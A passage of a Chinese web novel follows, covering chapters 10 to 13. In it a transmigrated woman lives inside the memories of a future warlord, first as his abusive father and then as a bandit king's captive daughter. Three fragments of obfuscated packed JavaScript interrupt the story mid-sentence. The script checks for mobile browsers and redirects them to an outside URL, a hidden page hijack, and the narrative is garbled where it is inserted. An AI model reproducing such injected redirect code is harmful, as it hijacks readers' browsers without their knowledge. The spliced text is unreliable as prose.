燕钊解释道:“里面卡了竹片,用线绷着。按这里,”他指了指侧面一个不起眼的小孔,“劲儿一泄,它就能弹出来。” 苗悦依言用拇指抵住那小孔,稍一用力,果然听到轻微的“咔哒”声,小木棍应声弹出寸许,带着一股迅疾的力道。 苗悦吓了一跳:“好家伙!” 燕钊手指在某处一拨,弹出的木棍便乖巧地缩回凹槽,恢复成那片完整的“燕尾”。 “平时有根小木楔卡着,不会误触。”他补充道。 “你这小脑袋瓜怎么长的?”苗悦这回是真心实意地赞叹,“能想出这么精巧的机关,当个肩扣很漂亮啊。” 燕钊闻言,耳根微微泛红。 苗悦把玩着,在自己手腕上比了比。 “要是用个皮带,从后面穿过去,系在手腕上。”她一边说一边比划,“像不像戴了个民族风的腕饰。” 燕钊眼睛一亮,看看那尾羽,再看看自己的手腕,若有所思地丈量木头的厚度。 “要是能批量生产,说不定能赚钱。得给它起个名字,保护专利。”苗悦翻来覆去地看,“像燕子尾羽……能当腕带……衣扣肩扣也行……” 她看向燕钊:“叫燕尾扣怎么样?” 燕钊点点头,接过燕尾扣,蹲到墙边,拿出手钻。 眼看他又要开工,苗悦赶紧拦住。 陈家村的生活实在无聊,可一想到陈阿大命不久矣,不宜在此时节外生枝,苗悦只能按捺下远走的冲动。 但是秋高气爽的日子,在村子附近玩玩还是可以的。 “天天闷在屋里要发霉了。”她拉起燕钊,“今天天气好,咱们去捉鱼,烤鱼吃,换换口味。” 秋日的天空显得格外高远,阳光明亮却不灼人,田埂边的野草开始泛黄,结着零星的草籽。 两人一前一后走在窄窄的土路上,燕钊目光流连在形态各异的树木之间,不时伸手掐一下树皮。 “你在找什么?”苗悦问。 燕钊说:“我想找块硬点的木头。现在用的这块有点软,力道一大,怕会撑不住。” “你要是当了老贼头的徒弟,一准能青出于蓝。”苗悦颇是羡慕,随即话锋一转,语重心长道,“人有本事是好事,但更得明白本事该为谁用。这世上的人才、宝物,都得遇着明主,才能物尽其用,人尽其才。不然,再好的材料,用错了地方,也是白搭。” 燕钊迷惑地看着她。 苗悦清了清嗓子,把编纂多日的故事讲了出来。 “很久以前,有个年轻侍卫,一身好武艺,他就认准了这个道理。叛军攻入皇宫,那个侍卫不顾性命,背着小皇帝和传国玉玺躲进深山老林。猎兔捕鱼,啃树皮饮山泉,侍卫身上伤痕累累,却始终将最好的食物留给小皇帝。敌人在山中喊话,‘天子蒙尘,气数已尽,不如献玺投降,可享富贵’。那侍卫慨然拒绝。最终,他们等到勤王兵马,重整山河。年轻的侍卫因为护驾有功,成了名留青史的大将军,一辈子荣华富贵。” 燕钊问:“这个侍卫叫什么?” 苗悦眨眨眼:“名字不重要,重要的是天子是国之明月,是一国象征,真正的英雄会守护明君,如众星拱月。生为臣子,要认准这个死理不放手!” 燕钊看着她,眼睛黑白分明:“爹,英雄怎么知道,他要守护的,就一定是明月呢?如果他拼尽性命去守护,最后发现那只是一块看着光亮的石头,他该怎么办?” 苗悦语塞,一时找不到能说服自己的答案,故作严肃地拍了拍他肩膀。 “天子就是天子,生来注定的,就像太阳东升西落一样自然。不要钻牛角尖,忠君的气节,才是最最重要的。” 燕钊不再追问,似乎接受了她的说法。 苗悦挺高兴。这孩子终于不怕陈阿大,敢于表达想法了。 看来自己这些天的温情攻势没有白费,父子关系总算拉近了些。 秋日的河水变得清澈寒凉,流速也缓了下来。大片枯黄的芦苇在风中摇曳,沙沙作响。 苗悦卷起裤腿,踩进及膝的河水时,头一次感受到男人身体的好处,她竟不觉得河水凉。 一条鱼从她腿边游过,她双手合拢猛扑下去,激起一片水花,却只堪堪擦到鱼尾。 苗悦反复几次,不是动作太慢,就是滑不留手,弄得浑身湿漉漉,却一无所获。 她有些气馁,直起腰,抹了把脸上的水珠,转头看向燕钊。 燕钊弓着身,静静站在河里,袖子挽至肘部,手几乎帖在水面上,掌中握着他刚刚作成的燕尾扣。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16749001|189686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他一动不动,屏息凝神,紧紧盯着水面,一尾鱼正在他腿边不远处游来游去。 苗悦下意识地屏住了呼吸,目光追随着那条鱼。 极轻微的“咔哒”声,一道细小的黑影从燕尾扣中疾射而出。 “噗!” 水花微溅,紧接着,那条鱼剧烈地拍打起水面。 燕钊动作极快,一把将鱼抓在手里。 苗悦几步涉水过去,见那鱼还在神经性地翕动着嘴。 她这才看清,燕尾扣里的小木棍,一端被削磨得异常锋利,形如现代的牙签。 尖头从鱼鳃侧后方刺入,入肉极深,可见弹出时的力道。 “这……这是你磨的?”苗悦惊愕。 燕钊点点头,脸上难得地露出一丝近乎骄傲的浅笑,眼神亮晶晶的,得意于自己的作品首战告捷。 苗悦心惊。 这哪里是什么饰品,以这木刺的尖锐程度,若换成金属,近距离之下,轻则刺穿皮肉,重则伤及内脏,根本就是一件暗器。 她立刻就想把这危险的东西从燕钊手里拿过来,可看到燕钊发自内心的欣喜和成就感,话到嘴边又咽了回去。 她抿唇,叮嘱道:“以后这尖头,别磨这么利了,万一不小心伤着自己或旁人,可不是闹着玩的。” 燕钊点了点头,目光仍黏在那条鱼上,并未将陈阿大的告诫放在心上。 苗悦看看他,又看看燕尾扣,后知后觉地发现,这小小的像装饰品一样的东西,或许就是未来燕氏弩的雏形。 她暗自叹息,没想到自己无意中送出的手钻,竟也成了重要事件的一环。 燕钊提着鱼上岸,寻了处背风的土坡,用脚清理出一块空地,将树枝从鱼嘴中穿进去,再捡了些干芦苇来,就地生起火。 鱼肉在火上渐渐变得焦黄,油脂滴入火中,激起更旺的火苗和滋滋的声响。 等得无聊,燕钊抓了根细长的芦苇,随意在身旁松软的泥地上划拉着。 苗悦瞥了几眼,发现他并非胡乱涂画,而是在重复勾勒两个字,笔画歪斜,结构松散,隐约能看出是“芦苇”二字。 “芦苇不是这么写的。”苗悦看了一会儿,忍不住出声纠正。 燕钊抬起头,眼中满是惊疑:“爹……你会写字?” 苗悦心里咯噔一下,转念一想,陈阿大一把年纪了,识得几个字很正常。 “你爹我年轻的时候,跟着村里老秀才学过几个字,后来……唉,染上了那些坏毛病。”她摆摆手,顺势站起身,“不提了,来,我告诉你怎么写。” 她走到燕钊身后,很自然地俯下身,伸出那双属于陈阿大的粗糙的大手,握住燕钊的手。 燕钊心跳加速,一种强烈的熟悉感涌上心头。 他僵硬地在苗悦引导下写完“芦苇”两个字,转过头,目光胶着在苗悦脸上,嘴唇微微颤抖,似乎想说什么。 苗悦察觉到他神色异常,纳闷道:“怎么了?” 燕钊深吸一口气,小心翼翼地,充满期待地说:“爹,我不想叫‘狗娃’了。你……你给我换个名字吧。” 陈狗娃这个名字,确实粗鄙难听,配不上这孩子满身的灵性。 不过再过几年,这孩子会遇到那个为他赐名的人,从此拥有一个响彻王朝的名字。 这么重要的情节,自然要留给那命中注定的人来完成,不能由自己越俎代庖。 “‘狗娃’这名字多好,接地气,好养活。”苗悦堆起那套熟练的画饼式笑容,“等你为圣人效力,立了大功,圣人就会赐你名字,说不定还能姓李呢。” 燕钊眼中的光瞬间熄灭,原本带着些许期盼而微微前倾的肩膀,沉了下去。 他扯扯嘴角,似乎想扯出一个表示无所谓的弧度,却最终失败,只留下自嘲般的痕迹。 11.第 11 章 烤好的鱼肉外焦里嫩,入口鲜美,可苗悦嚼在嘴里,却有些不是滋味。 自她拒绝了燕钊改名的请求后,这小子就再没说过一句话。 他仍是那副没什么表情的样子,和之前一样,默默地吃鱼,收拾残烬,用泥土掩灭火堆。 但苗悦就是有一种强烈的感觉,这娃不高兴了。 回去的路上,两人一前一后,夕阳将他们的影子拉得很长,沉默在空气中蔓延。 苗悦想找点话,她清了清嗓子,开口道:“明天是你娘的头七,我们得好好操办一下。” 燕钊嗯了一声。 苗悦只好自顾往下说:“爹想着,把屋里那张方桌擦干净了,摆到院子当中,再蒸几个馒头,炖锅肉供上。你看这样成不?” 燕钊脚步未停:“都听爹的。” 第二日,天有些灰,正衬着两人的心情。 苗悦一大早将方桌擦得发亮,端端正正摆在了院子中央。 蒸好的白面馒头,码放在陶碗里,四个一堆,尖尖地垒着。昨夜特意留下的那块鱼腩肉,也盛在另一个碗中,搁在馒头旁边。 苗悦拿出林菱旧衣,想铺在桌上。 燕钊却伸手接过,默不作声地将其细细抚平,对折,再对折,叠成一个方正的包裹,置于方桌正中。 他没有看苗悦,也没有多余的话,直挺挺地跪在泥地上,深深地磕了三个头。 苗悦看着燕钊刻意疏远自己的身影,心里那点不解和些许愧疚,渐渐被一股压不住的火气取代。 她穿到这鬼地方,顶着个邋遢糙汉的皮囊,天天陪小屁孩演戏,还不够憋屈吗? 新被褥给你睡了,新衣服给你穿了,带你下馆子泡澡堂,你亲娘的头七都给办了,自问比对阿芦都上心。 不就是没答应给你改名吗,至于摆着臭脸? 她的任务是让燕钊忠君,不是来给他当二十四孝爹的。 一股破罐子破摔的念头涌上来。 爱冷着就冷着吧,反正陈阿大也没几天活头了,何必再费心思哄着,凑合过完这几天拉倒。 想通了这一层,苗悦心里反倒轻松了。 她收起了所有刻意的讨好和没话找话,该吃吃,该喝喝,不再试图从燕钊脸上寻找任何情绪反馈。 这招似乎起了效果。 当晚,苗悦已经睡沉了,忽听燕钊在她身后叫了声“爹”。 苗悦迷迷瞪瞪地嗯了一声,意识还陷在沉沉的睡意里,眼皮抬不起来。 “爹,我做梦了。” 苗悦勉强睁开一道缝,只觉万籁俱寂,连一声犬吠都听不见,应是夜极深了。 她从侧躺改为仰面,含糊地问:“……梦见什么了?” “梦见我娘了。”燕钊声音低低的,“她握着我的手,教我写‘芦苇’的‘芦’字,还说要给我改个名字,叫‘阿芦’。” 苗悦猛地睁开眼,这分明是她上次穿成林菱时发生的事。 记忆世界自成一方天地,它虽与现实世界不通,但却有自己的时间线,并非割裂成一块一块的。 三岁发生的事,十岁的燕钊依然记得。 燕钊的声音又响了起来。 “爹,你觉得,我叫‘阿芦’好不好?” 好什么好,那不就和真阿芦重名了。 “不好!”苗悦脱口道,“起名字哪能这么草率?芦苇是什么东西啊,一堆破草。” 黑暗中,燕钊没有接话。 苗悦安抚道:“你要是真想改名,哪天咱们花点钱,找个秀才好好合计合计,起一个响亮的。” 她拍拍燕钊:“大半夜的,赶紧睡觉吧,乖。” 说完,她翻个身,不再理会燕钊。 夜,死一般寂静。 “砰!砰!砰!” 粗暴急促的拍门声,如惊雷般炸响。 苗悦猛地惊起,心脏“咯噔”一下,骤然缩紧。 来了! 山贼来了!陈阿大的死期到了! 她一下坐起身,把燕钊从床上拽起,往床板下面塞。 “躲好,别出声!有爹在,不会让他们伤了你。” 苗悦做完这些,深吸一口气,拉开门,准备慨然赴死,却察觉到一丝异样。 门外只有两个人。 为首的男人三十出头的年纪,身量清瘦,穿件洗得发白的绿色短打,袖口卷到肘弯,露出两条筋骨分明的胳膊。黑腰带勒得紧,刀柄从腰带侧面探出来,黄铜护手被摩挲得发亮。 他身后跟着的大汉是个光头,头顶上纹着一只张牙舞爪的蜘蛛,腰间的砍刀连刀鞘都没有,大咧咧地冒着寒光。 这和苗悦预想中的情景不一样。 她见过山匪袭村,几十甚至上百的凶神恶煞挥舞长刀,抢掠财物,到处都是哭声、呼救声、叫骂声,浓烟滚滚,鸡飞狗跳。 眼前未免太安静了。 难不成,这二位不是山匪?陈阿大死期未至? 为首的男人眯眼打量一番,问:“你是陈阿大?” 苗悦:“我是。” 那男人又问:“你有个儿子叫陈狗娃,今儿个是你婆娘的头七?” 一旁的光头提醒:“应该是昨天。” 苗悦不明所以,点点头。 那男人朝身后摆手:“院里说话,宽敞。” 苗悦纳闷地来到院子里,问:“您二位是?” 男人手持长刀,冷冷开口:“老子行不更名,坐不改姓,铁屏寨大当家,石关山!”他侧身示意身旁那光头大汉,“这位是我过命的兄弟,二当家,程铁牛!” 哦,果然是来杀陈阿大的。可这架势,怎么还先报名号,讲究起来了。 她皱着眉,一脸不解地等石关山继续。 石关山道:“我们铁屏寨向来公道,不杀无名之辈,也不做冤死鬼的生意。前两天有人上山,跪请我们兄弟替他断一桩家务事。今日,便是特意来找你分说个明白。” 他绕着苗悦走了半圈,问道:“你逼死自家婆娘,转头又将儿子卖进宫当太监,可有这回事?” 苗悦反问:“有人请你们?谁?” 这时,身后木门“吱呀”一声轻响,燕钊瘦瘦的身影悄无声息地出现在门口。 “狗娃,你……”苗悦看到他先是一愣,继而脑子慢慢转起来。 李晏给的信息有误。 陈阿大确实死于山匪之手,但不是什么山匪袭村,而是燕钊亲自请来的! 苗悦难以置信地看着燕钊。 她以为他是个受尽苦难、需要庇护的幼崽,她曾竭力想让他过几天好日子。却没想到,这是一头蛰伏在侧伺机而动的狼崽子! 他现在才十岁啊! 李晏的话在苗悦脑中响起。 ——燕钊此人,命格极凶,煞气冲天,心如铁石,普通手段无法动摇他的意志。 不怪别人,是她自己轻敌了,大意了。 一个自诩清醒的穿越者,却在乱世之中,对着未来的“活阎王”滥发同情。 真是可笑! “哈哈哈,不错,不错。”苗悦想着想着,竟真笑了出来。 她看向石关山:“是我逼死了他娘,也是我把狗娃卖进宫去。他又不是我亲生的,我养了他们娘俩十几年,花了多少银子。如今拿他换十几两酒钱,有什么问题?这难道不是他该报答我的吗?” 石关山闻言,眉头紧锁,握刀的手背青筋微凸,沉声道:“老子也是个当爹的人,我闺女跟你儿子年岁相仿。虎毒尚不食子,你方才说的,可还算是人话?简直畜生不如。” 石关山话音才落,光头过来一脚踹在苗悦膝窝处,抡刀架在她脖子上。 苗悦膝盖一软,跪坐在地,暗骂什么破情节。 “既然你已亲口认下,铁证如山,那就休怪我等替天行道!” “慢着。”石关山抬手止住程铁牛,目光转向立于阴影中的燕钊,“小子,这畜生好歹担了你十年爹的名分。临到头了,你可还有话要与他说?” 燕钊慢慢从阴影中踱出,月光勾勒出他单薄却挺直的脊背。 他走到被按跪在地的苗悦面前,还高了半头。 “多谢大当家。”燕钊低声说,“我确实有话想问他。” 他垂下眼帘,目光落在苗悦脸上,交织着困惑、痛苦和怀疑,以及一丝极淡的、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16753373|189686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 连他自己都可能未曾察觉的不舍。 “你听到敲门声……”他开口,声音带着压不住的颤抖,“为什么要把我塞到床底下?为什么让我别怕?为什么让我躲好?难道你知道来的人是谁?” 苗悦仰着头,看着这个年仅十岁的孩子。 他的个子并不高,脸庞依旧带着孩童的稚嫩,可那双眼睛里翻涌的情绪,却复杂得让人心惊。 苗悦扯了扯嘴角,带着几分嘲弄:“十岁就要有十岁的样子,不能天真一点吗?哪来这么多问题,要杀就快点,别罗里吧嗦的。” 燕钊问:“你不怕死吗?” 苗悦嗤笑:“怕就可以不死了吗?” “可以。”燕钊说,“只要你说实话,就可以不死。” 苗悦烦躁地别开脸:“说什么实话?我句句都是实话。” 燕钊站在原地,身体绷得紧紧的,终于问出了那个盘旋在他心头许久,让他夜不能寐的问题。 “你是谁?” 苗悦低低地笑了起来。 原来她这些天自以为是的温情和痛改前非的宣言,在这个十岁孩子眼里,从头到尾都是破绽百出的拙劣表演。 他从未真正相信过陈阿大的转变。 不过没关系。 苗悦本来也没指望这些空话能让谁信服,她的任务从来不是获得他的信任,而是像滴水穿石一样,将“忠君”的念头,一遍遍刻进他记忆的底层。 一个敬业的演员,戏,必须演到底,哪怕观众早已看穿,只要帷幕还未落下,就得拿出十二分的真诚。 “我当然是你爹。”她一字一句,“我说过很多次,你还是不信?爹真的受了圣人的点化,痛改前非了。你若觉得我不是以前的我,那就对了,因为我真的不再是过去的陈阿大。” 她瞅着燕钊苍白的脸:“爹知道,你现在还是不信。但你一定要记住爹的话,天下终究是圣人的天下,君心即天心,俯仰皆在圣裁。惟效忠朝廷,尽瘁王事,方为正道。” 石关山噗嗤一下笑出来。 “那皇帝老儿要是好,我们还会当山匪吗,谁会放着好日子不过。” 苗悦驳道:“你懂什么?圣人亦有圣人的难处,皇命难出宫门,政令难达州郡,纵有悲悯之心,亦缺雷霆之手。” “什么乱七八糟的。”石关山不耐烦道,“老子听不懂!说完了没有?” “大当家,我改主意了。”燕钊忽然转向石关山,“他终究当了我十年的爹。纵有千般不是,这十年,也没让我饿死冻死。” 石关山浓眉一挑,带着几分玩味:“那你娘的仇就不报了?” 燕钊望向坊间那口公井:“我娘是跳井死的。就把他扔进那口井里。若是村民们将他救上来时,他还活着,那就是他命不该绝。” 石关山像是听了什么有趣的事,哈哈大笑起来,用力拍了拍苗悦肩膀。 “你这么个混账东西,居然还有了一线生机,有意思。我倒想看看结果如何。” 苗悦闻言,却是浑身冰凉。 这哪是一线生机,分明是钝刀子割肉。 林菱几天前才从那里跳下去,村民们为了辟邪,往里面扔了多少奇怪的物什,黑黢黢的井底,谁知道泡着什么,有没有水蛇毒虫。 还不如一刀给个痛快! 苗悦瞬间下定了决心。 她猛地抬起头,目光锁住燕钊,嘶吼道:“狗娃!爹欠你的,欠你娘的,就在今夜,一并还了——” 话音未落,她毫无征兆地,朝着离她最近,持刀而立的光头猛撞过去。 这一下来得太快,光头没有防备,出于本能,手腕一翻,长刀向前一递。 “噗嗤!” 刀锋入肉的闷响传来。 他的刀法不错,位置准,力气大,动作快,一下子就插入苗悦胸膛。 剧烈的疼痛猛然炸开。 对于初中生苗悦来说,这感觉无疑是恐怖且难以忍受的。 但对于被老贼头磋磨多年的西市小仙姑苗悦来说,这种尖锐而短暂的痛苦,完全可以忍受。 比在黑漆漆的井底熬死强多了。 她才不要跳井呢。 12.第 12 章 李晏说,记忆世界里的身体死亡,会立刻成为另一段记忆中新的人物。 这个“立刻”是真的。 刀插入苗悦心脏,瞬间的疼痛过后,她开始发冷,意识逐渐飘散,眼前的景象如蜃楼般模糊晃动。 光头狰狞的表情、燕钊瞪大的双眼、坊市破旧的房屋,都像被拉拽似的扭曲起来,夜晚的陈家村与褪色发黑的牛皮军帐交替出现。 陈阿大的身体不再受她控制,瘫软到地上,胸膛流出的血在地面印出一片暗色。 扭曲的画面终于静止,苗悦发现自己身处一顶充满皮革与汗酸味的军帐里,帐顶悬着一盏小小的油灯,灯苗被缝隙钻入的夜风吹得忽明忽暗。 大脑中一片空白,关于新身体的信息尚未加载。 苗悦双手反剪,被粗糙的麻绳捆在硬木柱上,后颈传来阵阵酸痛。 脚上的高筒皮靴裂口翻皮,能看见朱砂线的锁边和绣了银丝的云纹锦内层。再一侧头,红色臂甲凹痕累累,内衬的玄色软革却完好,一排排的极细铜钉显示出这原是一身极为精致贵重的女式铠甲。 苗悦看向被光头一刀洞穿的位置,胸前整块红漆金属板完好无损。 她仰头,脑袋靠到立柱上,轻轻吁口气,无声地骂了句脏话。 她居然真的把十岁的燕钊当小孩哄,也不想想,能成为“活阎王”的人,童年又怎么会是普通的小孩。 说到底还是自己心急轻敌,那几日“幡然悔悟”的慈父戏码,确实有些敷衍。 但她也实打实地多次给燕钊洗脑,从他的反应来看,似乎并不是完全无用,只是不像自己以为的那么成功。 就在她复盘上局经验时,新身体的信息一股脑涌进来。 这具身体名叫石红玉,女,十五岁,“横山王”石关山的独女。 石关山就是上一回合中,燕钊请来帮忙弑父的铁屏寨大当家。 此时距离陈阿大死亡已过了六年。 这六年里,铁屏寨几经波折迁徙,逐渐壮大,成为了一方小小势力。 去年,石关山派人夜闯临峣城刺史府,趁刺史蒋重阳寿宴醉酒之机,将其一家老小擒获。 蒋重阳以为石关山是某股反叛势力,为保命,主动让出刺史之位,将临峣城拱手相送。 城中三千军士尽归石关山调遣。 铁屏寨从此有了真正的根据地,石关山摇身一变成为一城之主。 夺城太过容易,石关山自信心极度膨胀,在一帮兄弟怂恿下自封“横山王”,占了刺史府,将亲近之人全部封为“大将军”。 小小的临峣城,一夜之间拥有了十二个“大将军”。 而石关山唯一的女儿石红玉,自然而然成为了“横山公主”。 苗悦对这个新身体比较满意,年纪小家境好,唯一的麻烦是眼前阶下囚的处境。 说起来,还得怪石关山。 他太宠女儿了,把小姑娘宠的不知天高地厚。 石红玉只会三拳两脚,就敢穿着老爹送的精甲偷偷上战场。 这身铠甲专为石红玉所制,材料做工皆为上品,十分扎眼,一冲上阵就被敌军头目盯住了,十招不过活捉回营。 苗悦试着活动手腕,却让绳结更深地陷进肉里,每一次挣扎,都只换来勒痛和木柱吱呀的声响。 帐外卢宁军巡哨士兵沉重的脚步声,清晰而压抑。 临峣城与卢宁军的冲突,李晏曾有详细叙述,因为这个事件被视作燕钊军阀生涯的真正起点。 但他只字未提,整个事件中,石红玉经历了什么,甚至连这个名字都未曾出现。 也许在这些大人物眼中,小小女子从来不是改变局势的关键。 如今,苗悦得到了记忆世界更加完整的信息,知道击溃卢宁军的计策是燕钊所出,起因却与石红玉大有干系。 这事还要说回六年前。 燕钊用五贯钱投靠了石关山,成为铁屏寨一员。 他年纪小体格瘦,沉默寡言,在寨中存在感很低,日常只做些搬运收拾的杂活。 直到十三岁那年,燕钊跟着几个寨民进山,遇到狼群围攻。 这群狼在狼王带领下异常狡猾,将几人分散围捕,最后只有两个人活下来。 一个是山寨的伙夫长,另一个就是燕钊。 燕钊背着已经死了的狼王,扶着腿受伤的伙夫长,满身是血地出现在山寨门口,引起不小的轰动。 这件事后,燕钊升为巡山小队长,负责带领十来个人巡防山寨周边山林,警戒野兽与官兵。 他默默无闻地巡了两年山,与石红玉素无来往,不想却在临峣城破那日结下了梁子。 那天,刺史蒋重阳被擒,他的师爷杜言抱着刺史印去搬救兵。 正值中二期的石红玉眼见众人酣畅厮杀,也觉热血沸腾,不愿落于人后。 她在跟班程虎的保护下,亲自带人追捕杜言,最终将人堵在城西小巷里。 程虎知道石红玉想立功出风头,特意让她来射出击杀杜言的一箭。 石红玉挽弓搭箭,弓弦绷紧。杜言是个书生,箭矢距离又近,他注定躲不过。 石红玉兴奋难言,这一箭射出,她便亲手斩断了临峣城最后一丝反抗,“横山公主”之名,从此无人敢小觑。 “铮——” 箭离弦的刹那,斜刺里突然飞来另一支箭矢,精准击落石红玉的羽箭,两支箭同时坠在青石板上,发出清脆的声响。 石红玉大惊,抬头望去。 燕钊不知何时已站在巷口。 他一路疾奔而来,微微喘息,仍保持着那副没什么表情的模样,低声说了一句:“此人有才,杀不得。” 石红玉本想一箭立威,却被燕钊当众打落箭矢,勃然大怒,握着空弓的手微微发抖,愤怒又难堪。 燕钊道:“杜先生掌管临峣城钱粮户籍,熟知城中布防、官仓密道,以及周边州府的联络方式。杀了他,我们接手临峣城会有很多麻烦。” “放肆!一个打杂的也敢指挥我?”石红玉怒骂,“再敢多嘴,连你一起杀!” 燕钊没有退缩,反而微微侧身,将杜言半护在身后,平静道:“你若杀了他,回头大当家问起城中钱粮去向,谁来交代?” 石红玉铁青着脸,咬牙挤出几个字:“好,很好。” 她一扯缰绳,调转马头,准备离开。 程虎忙不迭地带人跟上,临走时还朝燕钊方向狠狠啐了一口。 燕钊看他们离开,转身走向自己的马。 石红玉越想越气,脑中尽是燕钊护着杜言的冰冷眼神,一股子邪火冲上头。 她猛地转身,迅如闪电拉满弓弦,瞄准杜言便是一箭。 事出突然,距离又近,所有人都来不及反应,只听一声闷响。 杜言身体一震,低头看着自己胸前的长箭,软软倒了下去。 石红玉一击得手,得意地朝燕钊扬了扬下巴,这才真正打马离开。 这一箭的苦果,当晚便显现出来。 杜言一死,城中钱粮账簿,仓廪密道,与周边州府的暗线,清点接收困难重重,许多旧吏更是借口推诿,给石关山造成了不少麻烦。 石关山了解情况后,不得不当着众人的面批评了石红玉。 虽然石关山私下温言安抚,又送了不少金银珠宝,但石红玉还是不肯服软。 她将怨气全都记在了燕钊头上。 从那以后,石红玉处处针对燕钊。 给他起外号“阴沟鼠”“芦柴棒”。在他的马上做手脚,害他险些摔断腿。 宴会上当众学陈阿大醉醺醺的腔调,命令他:“狗娃,给爹打酒去!” 程虎比石红玉大两岁,天生神力,他爹是山寨二当家程铁牛,全寨上下都让他几分。 石红玉便逼燕钊与程虎角力,让程虎故意掰断燕钊手指。 燕钊缴获的匕首,石红玉抢过来,转手赏给贴身丫鬟樱桃。 就在苗悦穿来半月前,石红玉又一次惩罚燕钊。 起因是石红玉看到燕钊在使用一个银纹手钻。 那手钻做工精巧,镶嵌银丝,既是匠器,又是工艺品,一看就价格不菲,只有官宦大户才舍得买给孩子做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16763037|189686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 启蒙雅具。 她房里就收着一整套,是她爹从前刺史公子房中搜来的战利品,因样式精美、成套崭新,便拿给她玩。 只是石红玉对这类细巧手工没什么兴趣,便一直放着没动。 像燕钊这种出身寒微的小子,怎么可能买得起,他也根本不配拥有。 石红玉一口咬定燕钊偷了她的玩意儿,不给他分辨的机会,就把人吊起来抽了二十鞭子,又把伤痕累累的燕钊扔进干涸的枯井中,盖上石板。 “你不是想把你爹投井里,结果没成功吗?我来帮你弥补遗憾。什么时候你承认你偷了我的东西,我就放你出来。” 石红玉嚣张的话语,犹在苗悦脑中回响。 石红玉的手钻自然没丢,小锼弓、不同大小的成套刻刀、小锤、小凿、规、矩、尺,以及镶着银丝的小手钻,全都整整齐齐地摆在匣子中。 两个银丝手钻并不一样,大小亦有出入,一看便知不是同一套。 石红玉知道冤枉了人,但作为“公主”,她的自尊心不允许自己低头,更不可能承认她错了。 她决定让事情这样悬着,直到燕钊受不了主动承认,她再大度地原谅他。 但是燕钊没给她这个机会。 当天夜里,燕钊抠砖缝爬出井,潜入石红玉房中,偷出她那套精巧的家伙什儿,连匣子一并原封不动地扔进了枯井中。 第二天樱桃奉命去枯井查看时才发现。 石红玉得知闺房被人夜半闯入,熟睡中的自己竟丝毫不查,脸都绿了,提刀就要砍人。 燕钊却抢先向石关山献上了一个针对卢宁军的“诈降”之策。 他装作被石红玉欺压难以立足,怀恨叛逃,带一张精心仿制的临峣城防图投奔卢宁军。 一旦取得对方信任,他便瞅准时机,趁夜在卢宁军囤积粮草的马厩和营帐纵火,一旦得手,必将引发大乱。 届时便以冲天的火光为号,临峣城守军见状即可倾巢而出,一举破敌。 这出苦肉计,有燕钊伤痕累累的后背、折断复接的小指为证,再加上他在临峣城并不受重用,因此可信度很高。 燕钊还刻意将这个主意,说成是石红玉想出来的。 石关山闻言,直夸女儿“脑子灵光”。 石红玉被架在“才女”高台上,再追究燕钊夜闯闺房的罪责就等于拆自己的台,只能干笑着认领,咬牙吃下一个哑巴亏。 第二日夜里,燕钊便“投”了卢宁军。 几日后,卢宁军主帅贺连川为印证他的诚意,命他叫阵来了一波小范围的战事。 正是这场小战,石红玉偷偷披挂,趁人不注意冲入战场,成了阶下囚,还是被燕钊亲手抓获的。 她想给燕钊点厉害瞧瞧,结果成了证明燕钊真心投诚的人证。 苗悦深深地叹气。 她好饿。 石红玉被抓来快两天了,滴水未进,不是贺连川不给,而是石红玉有骨气,送吃食的小兵都被她骂走了。 “大帅!” 帐外传来清晰的行令,让苗悦小心脏一哆嗦。 帐帘被掀开,一股冷风灌了进来,随之踏入的是一个三十多岁,身着黑甲,精瘦剽悍的男人,正是卢宁军主帅贺连川。 在他身后,跟着一个十六七岁的少年。 苗悦一眼认出,这是长大后的燕钊,现在的他还是陈狗娃。 瘦骨嶙峋的少年被岁月用力抻开了骨架,肩膀宽了,胸膛也不再是单薄的木板,有了隐约的轮廓。 一身青灰色轻甲,紧紧贴合着他的身体,勾勒出流畅而蕴藏着力量的线条。 他的脸庞褪去了不少稚气,下颌的线条变得硬朗,紧抿的薄唇和过于沉静的眼睛,依然能看出旧日的影子。 苗悦带着石红玉的怒火和陈阿大死时尚未宣泄的愤懑,肆无忌惮地打量他。 燕钊也抬起头来,平静地看了她一眼,毫无情绪,静得瘆人。 上一回合,他就总是这个眼神,让人搞不清他在想什么。 这是一头捂不熟的狼崽子,苗悦咬着牙根,恨恨地想。 13.第 13 章 既然顶了石红玉的壳子,就得把她的优势发挥出来,扮演一个骄纵的大小姐,好处除了有钱之外,还可以随心所欲地不讲道理。 苗悦仰着头,朝燕钊斥骂。 “你这忘恩负义的白眼狼!我爹当初看你可怜,把你带回寨子,给你饭吃,给你衣穿。你倒好,吃里扒外,反过来咬主人一口!” 